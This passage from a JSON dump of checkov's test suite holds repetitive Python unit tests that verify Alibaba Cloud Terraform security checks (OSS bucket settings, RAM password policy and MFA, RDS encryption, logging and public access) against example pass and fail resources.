self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_MongoDBTransparentDataEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.MongoDBTransparentDataEncryptionEnabled import check\n\n\nclass TestMongoDBTransparentDataEncryptionEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_MongoDBTransparentDataEncryptionEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_mongodb_instance.pass',\n        }\n        failing_resources = {\n            'alicloud_mongodb_instance.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_OSSBucketAccessLogs.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.OSSBucketAccessLogs import check\n\n\nclass TestOSSBucketAccessLogs(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_OSSBucketAccessLogs\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_oss_bucket.pass',\n        }\n\n        failing_resources = {\n            'alicloud_oss_bucket.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_OSSBucketEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.OSSBucketEncryptedWithCMK import check\n\n\nclass TestOSSBucketEncryptedWithCMK(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_OSSBucketEncryptedWithCMK\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_oss_bucket.pass',\n        }\n        failing_resources = {\n            'alicloud_oss_bucket.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_OSSBucketTransferAcceleration.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.OSSBucketTransferAcceleration import check\n\n\nclass TestOSSBucketTransferAcceleration(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_OSSBucketTransferAcceleration\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_oss_bucket.pass',\n        }\n        failing_resources = {\n            'alicloud_oss_bucket.fail',\n            'alicloud_oss_bucket.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_OSSBucketVersioning.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.OSSBucketVersioning import check\n\n\nclass TestOSSBucketVersioning(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_OSSBucketVersioning\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_oss_bucket.pass',\n        }\n        failing_resources = {\n            'alicloud_oss_bucket.fail',\n            'alicloud_oss_bucket.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_PasswordPolicyExpiration.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyExpiration import check\n\n\nclass TestPasswordPolicyExpiration(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_PasswordPolicyExpiration\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_ram_account_password_policy.pass',\n        }\n        failing_resources = {\n            'alicloud_ram_account_password_policy.fail',\n            'alicloud_ram_account_password_policy.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_PasswordPolicyLength.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyLength import check\n\n\nclass TestPasswordPolicyLength(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_PasswordPolicyLength\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_ram_account_password_policy.pass',\n        }\n        failing_resources = {\n            'alicloud_ram_account_password_policy.fail',\n            'alicloud_ram_account_password_policy.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_PasswordPolicyLowercaseLetter.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyLowercaseLetter import check\n\n\nclass TestPasswordPolicyLowercaseLetter(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_PasswordPolicyLowercaseLetter\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_ram_account_password_policy.pass',\n        }\n        failing_resources = {\n            'alicloud_ram_account_password_policy.fail',\n            'alicloud_ram_account_password_policy.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_PasswordPolicyMaxLogin.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyMaxLogin import check\n\n\nclass TestPasswordPolicyMaxLogin(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_PasswordPolicyMaxLogin\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_ram_account_password_policy.pass',\n            'alicloud_ram_account_password_policy.pass2',\n        }\n        failing_resources = {\n            'alicloud_ram_account_password_policy.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_PasswordPolicyNumber.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyNumber import check\n\n\nclass TestPasswordPolicyNumber(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_PasswordPolicyNumber\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_ram_account_password_policy.pass',\n        }\n        failing_resources = {\n            'alicloud_ram_account_password_policy.fail',\n            'alicloud_ram_account_password_policy.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_PasswordPolicyReuse.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyReuse import check\n\n\nclass TestPasswordPolicyReuse(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_PasswordPolicyReuse\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_ram_account_password_policy.pass',\n        }\n        failing_resources = {\n            'alicloud_ram_account_password_policy.fail',\n            'alicloud_ram_account_password_policy.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_PasswordPolicySymbol.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RAMPasswordPolicySymbol import check\n\n\nclass TestPasswordPolicySymbol(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_PasswordPolicySymbol\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_ram_account_password_policy.pass',\n        }\n        failing_resources = {\n            'alicloud_ram_account_password_policy.fail',\n            'alicloud_ram_account_password_policy.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_PasswordPolicyUppcaseLetter.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyUppcaseLetter import check\n\n\nclass TestPasswordPolicyUppcaseLetter(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_PasswordPolicyUppcaseLetter\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_ram_account_password_policy.pass',\n        }\n        failing_resources = {\n            'alicloud_ram_account_password_policy.fail',\n            'alicloud_ram_account_password_policy.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_RAMSecurityEnforceMFA.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RAMSecurityEnforceMFA import check\n\n\nclass TestRAMSecurityEnforceMFA(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_RAMSecurityEnforceMFA\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_ram_security_preference.pass',\n        }\n        failing_resources = {\n            'alicloud_ram_security_preference.fail',\n            'alicloud_ram_security_preference.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_RDSInstanceAutoUpgrade.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RDSInstanceAutoUpgrade import check\n\n\nclass TestRDSInstanceAutoUpgrade(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_RDSInstanceAutoUpgrade\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_db_instance.pass',\n        }\n        failing_resources = {\n            'alicloud_db_instance.fail',\n            'alicloud_db_instance.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_RDSInstanceLogConnections.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RDSInstanceLogConnections import check\n\n\nclass TestRDSInstanceLogConnections(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_RDSInstanceLogConnections\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_db_instance.pass',\n            'alicloud_db_instance.pass2',\n        }\n        failing_resources = {\n            'alicloud_db_instance.fail',\n            'alicloud_db_instance.fail2',\n            'alicloud_db_instance.fail3',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_RDSInstanceLogDisconnections.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RDSInstanceLogDisconnections import check\n\n\nclass TestRDSInstanceLogDisconnections(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_RDSInstanceLogDisconnections\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_db_instance.pass',\n            'alicloud_db_instance.pass2',\n        }\n        failing_resources = {\n            'alicloud_db_instance.fail',\n            'alicloud_db_instance.fail2',\n            'alicloud_db_instance.fail3',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_RDSInstanceLogsEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RDSInstanceLogsEnabled import check\n\n\nclass TestRDSInstanceLogsEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_RDSInstanceLogsEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_db_instance.pass',\n            'alicloud_db_instance.pass2',\n        }\n        failing_resources = {\n            'alicloud_db_instance.fail',\n            'alicloud_db_instance.fail2',\n            'alicloud_db_instance.fail3',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_RDSInstanceSSL.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RDSInstanceSSL import check\n\n\nclass TestRDSInstanceSSL(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_RDSInstanceSSL\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_db_instance.pass',\n            'alicloud_db_instance.pass2',\n        }\n        failing_resources = {\n            'alicloud_db_instance.fail',\n            'alicloud_db_instance.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_RDSIsPublic.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RDSIsPublic import check\n\n\nclass TestRDSIsPublic(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_RDSIsPublic\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_db_instance.pass',\n            'alicloud_db_instance.pass2',\n        }\n        failing_resources = {\n            'alicloud_db_instance.fail',\n            'alicloud_db_instance.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_RDSRetention.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RDSRetention import check\n\n\nclass TestRDSRetention(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_RDSRetention\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_db_instance.pass',\n        }\n        failing_resources = {\n            'alicloud_db_instance.fail',\n            'alicloud_db_instance.fail2',\n            'alicloud_db_instance.fail3',\n            'alicloud_db_instance.fail4',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_RDSTransparentDataEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.RDSTransparentDataEncryptionEnabled import check\n\n\nclass TestRDSTransparentDataEncryptionEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_RDSTransparentDataEncryptionEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_db_instance.pass',\n            'alicloud_db_instance.pass2',\n        }\n        failing_resources = {\n            'alicloud_db_instance.fail',\n            'alicloud_db_instance.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        